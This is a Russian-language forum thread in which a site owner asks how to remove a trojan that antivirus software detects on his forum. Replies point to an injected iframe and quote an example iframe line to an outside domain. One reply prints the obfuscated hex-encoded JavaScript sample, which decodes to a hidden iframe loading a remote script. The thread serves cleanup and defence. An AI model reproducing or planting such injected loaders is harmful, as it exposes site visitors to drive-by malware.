Вирус на форуме.

[Inspector]

На форуме: http://www.rufon.net/forum
сидит троян. Вот как Каспер его палит: http://s60.radikal.ru/i167/0808/94/1c4c61717a03.jpg
Троянская программа палится Касперским во время изменения репутации какому нибудь пользователю.
Обьясните как его dellнуть с форума. И где он может сидеть.

[bublebuble]

по логам видно айфреймер, скорее всего нашли багу в модуле репутации и поставили фрейм с вирусом, ищи лишний код в файлах

[bublebuble]

чтото вроде:
<iframe src="http://www.hhhiiiii.eu"></iframe>

[GROB_T]

скорее всего код зашифрован

[Indig0]

Во.. оно самое )


<script>function v4700bdb3e4ebe(v4700bdb3e5e62){ return(parseInt(v4700bdb3e5e62,16));}function v4700bdb3e8d3f(v4700bdb3e9ce2){ var v4700bdb3ecbc3=2; var v4700bdb3eac83='';for(v4700bdb3ebc23=0; v4700bdb3ebc23<v4700bdb3e9ce2.length; v4700bdb3ebc23+=v4700bdb3ecbc3){ v4700bdb3eac83+=(String.fromCharCode(v4700bdb3e4eb e(v4700bdb3e9ce2.substr(v4700bdb3ebc23, v4700bdb3ecbc3))));}return v4700bdb3eac83;} document.write(v4700bdb3e8d3f('3C5343524950543E776 96E646F772E7374617475733D27446F6E65273B646F63756D6 56E742E777269746528273C696672616D65206E616D653D656 435207372633D5C27687474703A2F2F676F6F676C652D73746 17469737469632E636F6D2F696E2E6367693F323F272B4D617 4682E726F756E64284D6174682E72616E646F6D28292A36343 73133292B273863375C272077696474683D353833206865696 768743D313131207374796C653D5C27646973706C61793A206 E6F6E655C273E3C2F696672616D653E27293C2F53435249505 43E'));</script>

[Inspector]

Есть http://rufon.net/forum проблемка.
Имя той проблемке: Trojan-Downloader.JS.Small.hq & Trojan-Clicker.HTML.IFrame.gv

http://s39.radikal.ru/i083/0812/5f/e965ccc0897ft.jpg (http://radikal.ru/F/s39.radikal.ru/i083/0812/5f/e965ccc0897f.jpg.html) http://s58.radikal.ru/i162/0812/a9/df671284eea6t.jpg (http://radikal.ru/F/s58.radikal.ru/i162/0812/a9/df671284eea6.jpg.html)

Подскажите, уважаемые коллеги. Где на хосте искать вирь, чтобы нах dell-нуть его. И вообще что делать ?

[login999]

Ищи ифреймы в сорце страницы (iframe) и делеть нах все (обычно либо внизу, либо вверху, либо и там, и там)

[Mishatko]

ТС озвучьте двиг и плагины к нему.